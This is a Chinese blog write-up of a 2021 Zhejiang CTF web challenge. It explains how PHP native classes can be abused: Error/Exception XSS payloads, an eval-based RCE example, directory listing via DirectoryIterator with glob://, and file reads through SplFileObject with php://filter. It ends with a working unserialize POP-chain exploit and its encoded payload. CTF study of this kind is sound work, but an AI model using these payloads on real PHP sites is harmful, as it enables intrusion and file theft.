记一道2021浙江省赛的Web题_合天网安实验室的博客-程序员秘密

技术标签: laravel  wordpress  linux  php  xss  

前景

刚刚结束的浙江省网络安全大赛,其中Web类的第二题考察了POP链以及原生类的利用,在比赛期间只构造了POP链、得到flag的文件名,但是并没有利用原生类将flag文件完整读出来。这篇文章将会把这个题涉及到的知识点复现一遍,并且给出这个题详细的WP。

原生类

报错类

Error

在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。

例如,有以下代码:

<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

当传入下方payload的时候,会产生XSS

?a=Error&b=<script>alert("Lxxx");</script>

80c4623453bf9141e0ac63d5b5d1acc3.png

Exception

与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。

?a=Exception&b=<script>alert("Lxxx");</script>

6c1b916e263c5e65a0674c13a00da680.png

这个时候可能就会有聪明又帅气的师傅们问了,那既然是会被PHP执行,那么可不可以往里面传一句话木马呢?

同样还是上方的测试代码,我们传以下payload:

?a=Exception&b=eval($_POST[1]);

d5707fb3b616cb4af1c01a88683f9764.png

可以看到,传入的一句话木马被原封不动的打印出来,因此在上方这种测试代码中,无法RCE。

不过如果将测试代码换一个写法,那么就可以RCE,我们将测试代码修改如下:

<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");

这个时候我们传入以下payload

?a=Exception&b=system('whoami')

cb1ee96e4cca0e74a24dcbf129112017.png

这个时候虽然报错了,但是仍然可以RCE,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE。

遍历目录类

DirectoryIterator

DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项

假设我们有以下代码:

<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

这个时候我们传参如下:

?a=DirectoryIterator&b=.

8849b8d1510503a15d32ec44321ad489.png

在页面中返回了一个点(真的是一个点,不是显示屏上的污渍)

这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议

?a=DirectoryIterator&b=glob://flag*

e68ca1a87fc44afa1ccb0f90a42e409b.png

那么这个时候又有聪明又帅气的师傅要问了,如果这个时候不知道flag文件名怎么办?

答案是:暴力搜索

?a=DirectoryIterator&b=glob://f[k-m]*

69c6f8851ec4196a9ffaac31100074fe.png

glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@[都允许匹配,也就是匹配大写字母。

FilesystemIterator

同样的,如果DirectoryIterator类因为奇奇怪怪的原因被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多,这里就不过多赘述。

de0a5e29a595420abed0da4813ec23e0.png

GlobIterator

GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容

?a=GlobIterator&b=f[k-m]*

2348d04c68edd5a9e7e5e73d4626b7ec.png

读取文件类

SplFileObject

SplFileObject类为文件提供了一个面向对象接口

说句人话就是这个类可以用来读文件,具体怎么读呢?下面做个测试。

同样还是这个测试代码:

<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

我们传payload如下:

?a=SplFileObject&b=flag.php

682a1452d9d1558d74e28443ee3749a8.png

利用这个类可以将我们的flag.php文件读出来

不过有细心又帅气的师傅要问了,你这怎么就读了一行啊,还读了一个假的flag,你这SplFileObject保熟嘛?

确实,SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历,不过还有没有其他方法将其读取出来呢?

我们先看官方文档,看看SplFileObject类的__construct方法到底是怎么样的?

7118987eb4a8f6be3aac026143946aa6.png

可以看到,要求我们传入的参数是一个文件名,参数是文件名的方法联想到了什么?还有哪些方法是需要传入文件名的?(require,include,file_get_contents,file_put_contents等等等等)

而这些方法都有一个共同点就是,可以用伪协议。

虽然官方文档上没有说(也可能是因为我没看到),但是我们还是可以大胆的猜想,SplFileObject可以使用伪协议。

因此我们传入payload:

?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

可以看到,这个时候flag.php就被我们完整的读取出来了。

25e1ef981566c6358ece0a3641de5e6b.png

其余类

本质上不能说是其余类,不过在文章的后半部分会讲解今年浙江网安省赛其中一道web题,其余没有在这道题中用到的原生类我就不在这里赘述了,给个类名让师傅们参考参考。

  • ReflectionMethod

  • ReflectionClass

  • SoapClient

  • SimpleXMLElement

  • ZipArchive

2021浙江网络安全省赛Web2的WP

题目代码如下:

<?php
error_reporting(0);
class A1{
   public $tmp1;
   public $tmp2;
   public function __construct()
{
       echo "Enjoy Hacking!";
  }
   public function __wakeup()
{
       $this->tmp1->hacking();
  }
}
class A2
{
   public $tmp1;
   public $tmp2;
   public function hacking()
{
       echo "Hacked By Bi0x";
  }
}
class A3
{
   public $tmp1;
   public $tmp2;
   public function hacking()
{
       $this->tmp2->get_flag();
  }
}
class A4
{
   public $tmp1='1919810';
   public $tmp2;
   public function get_flag()
{
       echo "flag{".$this->tmp1."}";
  }
}
class A5
{
   public $tmp1;
   public $tmp2;
   public function __call($a,$b)
{
       $f=$this->tmp1;
       $f();
  }
}
class A6
{
   public $tmp1;
   public $tmp2;
   public function __toString()
{
       $this->tmp1->hack4fun();
       return "114514";
  }
}
class A7
{
   public $tmp1="Hello World!";
   public $tmp2;
   public function __invoke()
{
       echo "114514".$this->tmp2.$this->tmp1;
  }
}
class A8
{
   public $tmp1;
   public $tmp2;
   public function hack4fun()
{
       echo "Last step,Ganbadie~";
       if(isset($_GET['DAS']))
      {
           $this->tmp1=$_GET['DAS'];
      }
       if(isset($_GET['CTF']))
      {
           $this->tmp2=$_GET['CTF'];
      }
       echo new $this->tmp1($this->tmp2);
  }
}
if(isset($_GET['DASCTF']))
{
   unserialize($_GET['DASCTF']);
}
else{
   highlight_file(__FILE__);
}

这道题的前半部分是POP链的相关内容,由于POP链不在这篇文章涉及到的知识点范围之内,因此就简略一点,直接给出我在做题的时候写的思路以及POC

12437f8e3cef4817f0f3ca9fc92e5a55.png

<?php


class A1{
   public $tmp1;
   public $tmp2;
   public function __construct()
{
$this->tmp1 = new A3();
       echo "Enjoy Hacking!"."<br/>";
  }
   public function __wakeup()
{
       $this->tmp1->hacking();
  }
}
class A2
{
   public $tmp1;
   public $tmp2;
   public function hacking()
{
       echo "Hacked By Bi0x";
  }
}
class A3
{
   public $tmp1;
   public $tmp2;
public function __construct()
{
$this->tmp2 = new A4();
}
   public function hacking()
{


       $this->tmp2->get_flag();
  }
}
class A4
{
   public $tmp1;
   public $tmp2;
public function __construct()
{
$this->tmp1 = new A6();
}
   public function get_flag()
{
       echo "flag{".$this->tmp1."}";
  }
}
class A5
{
   public $tmp1 = "";
   public $tmp2;
   public function __call($a,$b)
{
       $f=$this->tmp1;
       $f();
  }
}
class A6
{
   public $tmp1;
   public $tmp2;
public function __construct()
{
$this->tmp1 = new A8();
}
   public function __toString()
{
       $this->tmp1->hack4fun();
       return "114514";
  }
}
class A7
{
   public $tmp1="Hello World!";
   public $tmp2;
   public function __invoke()
{
       echo "114514".$this->tmp2.$this->tmp1;
  }
}
class A8
{
   public $tmp1 ;
   public $tmp2 ;
   public function hack4fun()
{
       echo "Last step,Ganbadie~";
       if(isset($_GET['DAS']))
      {
           $this->tmp1=$_GET['DAS'];
      }
       if(isset($_GET['CTF']))
      {
           $this->tmp2=$_GET['CTF'];
      }
       echo new $this->tmp1($this->tmp2);
  }
}


$a = new A1();
echo urlencode(serialize($a));

得到部分payload:

O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D

将上方的payload传入DASCTF参数即可

这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下:

echo new $this->tmp1($this->tmp2);

因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php

?DAS=DirectoryIterator&CTF=glob://flag*

得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件

?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D&DAS=SplFileObject&CTF=php://filter/convert.base64-encode/resource=flaggggggggggg.php

最终再将浏览器的回显进行base64解码即可得到flag


实操推荐:https://www.hetianlab.com/pages/CTFLaboratory.jsp

3e3b43d7e5798fefe4fd0e292d5096cd.gif

戳“阅读原文”体验免费靶场!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_38154820/article/details/121112935

智能推荐

2022年中国互联网数据中心(IDC)行业产业链及市场现状分析(附国家绿色数据中心公示名单)[图]_idc数据_智研咨询产业研究的博客-程序员秘密

一、产业政策及标准根据《互联网数据中心技术及分级分类标准(YD/T2441-2013)》定义:互联网数据中心(InternetDataCenter,简称IDC)是指拥有宽带出口,并以外包出租的方式为用户的服务器、网络设备等互联网相关设备提供放置、代理维护、系统配置及管理服务,或提供计算、存储、软件等资源的出租、通信线路和出口带宽的代理租用和其它应用服务的电子信息系统机房。国家不断重视互联网数据中心行业发展,颁发了一系列政策及国家标准以推动其技术进步。2021年11月,国家发展改革委、中央网信

ora-04091问题的解决_buaageng的博客-程序员秘密

在某表orginfo上建立触发器,其中包括以下动作:增删改此表的记录时,需要查询此表,甚至改写此表的其他记录。报告“ora-04091:表已经被修改,对于触发器/函数不可见” 查看oracle developers guide ,在其中trigger的章节搜索ora-04091,根据说明,对于使用了for each row 的触发器,做了DML操作(delete,update

征途服务器 文件夹需手,手游新征途手工架设服务端+配套双客户端+架设流程+服务器部署文档等..._以网为生的博客-程序员秘密

ln -s /usr/local/mysql/lib/libmysqlclient.so.18 /usr/lib/mysql&gt; select user,host,password from mysql.user;查看用户信息+------+------------+-------------------------------------------+| user | host ...

linux C编程控制树莓派_虾米一代的博客-程序员秘密

系统准备1)打开Win32DiskImager.exe 2)PC机插入sd卡 3)选择要烧录的系统,笔者选择Ubuntu mate 16.04 4)烧录 显示默认HDMI显示,需要接HDMI屏幕,而不能用3.5寸的小屏幕SSH登录1)安装putty 2)查看树莓派的wifi IP ifconfig 2)连接同一个wifiwiringPi...

AP聚类算法代码实现_银子?啊!的博客-程序员秘密

AP聚类算法,昨晚刚跑过,参考的是另一个博主的博文,但有些小地方写错了。这个已经可以直接运行了import sklearnimport numpy as npimport matplotlib.pyplot as pltfrom sklearn import *#########设置实验数据################def init_sample(): centers = [[1, 1], [-1, -1], [1, -1]] # 生成数据 X, label_

随便推点

zabbix php time zone,【zabbix】问题 Time zone for PHP is not set (configuration parameterdate.timezone)..._Niaminis的博客-程序员秘密

【zabbix】问题 Time zone for PHP is not set (configuration parameterdate.timezone)2018年01月08日 14:19:33Betty-白靖阅读数 5947标签:php解决方案zabbix更多问题描述:在zabbix安装完成后,如果出现下图问题,这是因为我们配置文件里面的时区出现了问题,系统里默认是欧洲时区,需要改成...

树莓派4-更换系统源(Raspbian-buster系统)_raspberry pi 4 huanyuan_Redfalsh的博客-程序员秘密

参考链接树莓派4B换清华源并更换系统源(Raspbian-buster系统)第一步,先备份源文件sudo cp /etc/apt/sources.list /etc/apt/sources.list.baksudo cp /etc/apt/sources.list.d/raspi.list /etc/apt/sources.list.d/raspi.list.bak第二步,编辑系统源文件sudo nano /etc/apt/sources.list第三步,将初始的源使用#注释掉,添

结构体作为函数参数时出现的的低级错误_结构体50000传参stack报错_weixin_50095127的博客-程序员秘密

写作业时,编译器出现这个报错:expected expression before struct而且是在,每个调用结构体的地方都出错了。部分代码如下:#define NAME_LEN 25#define MAX_PARTS 100struct part {int number;char name[NAME_LEN+1];int on_hand;};int read_line(char str[], int n);int find_part(int number, const stru

30岁学前端开发,web前端开发与应用教程答案_普通网友的博客-程序员秘密

问:BFC 与 IFC 区别BFC 是块级格式上下文,IFC 是行内格式上下文:内部的 Box 会水平放置水平的间距由 margin,padding,border 决定问:BFC会与float元素相互覆盖吗?为什么?举例说明不会,因为 BFC 是页面中一个独立的隔离容器,其内部的元素不会与外部的元素相互影响,比如两个 div,上面的 div 设置了 float,那么如果下面的元素不是 BFC,也没有设置 float,会形成对上面的元素进行包裹内容的情况,如果设置了下面元素为 overflow:

CGB2011-DAY06_草帽团、的博客-程序员秘密

1. 完成商品CRUD操作 更新/删除/上架/下架2. 富文本编辑器实现 大字段存储 text 文本域3. 文件上传操作

怎样在局域网内远程控制自己的电脑_局域网内远程控制电脑_hsvenus的博客-程序员秘密

怎样远程控制自己的电脑我是学计算机软件专业的,经常上机房课但是机房的电脑相信用过的都懂,为了方便用自己的电脑,所以利用学校的局域网进行远程桌面控制,下面讲解一下我的小经验选中此电脑右键找到属性添加箭头所指的Administrator(它有最高权限方便以后远程操作)点击确定后找到电脑的“计算机管理”(在电脑桌面左下角输入框里可以直接搜)如果没有启动点击启动就行了在另一个计算...

推荐文章

热门文章

相关标签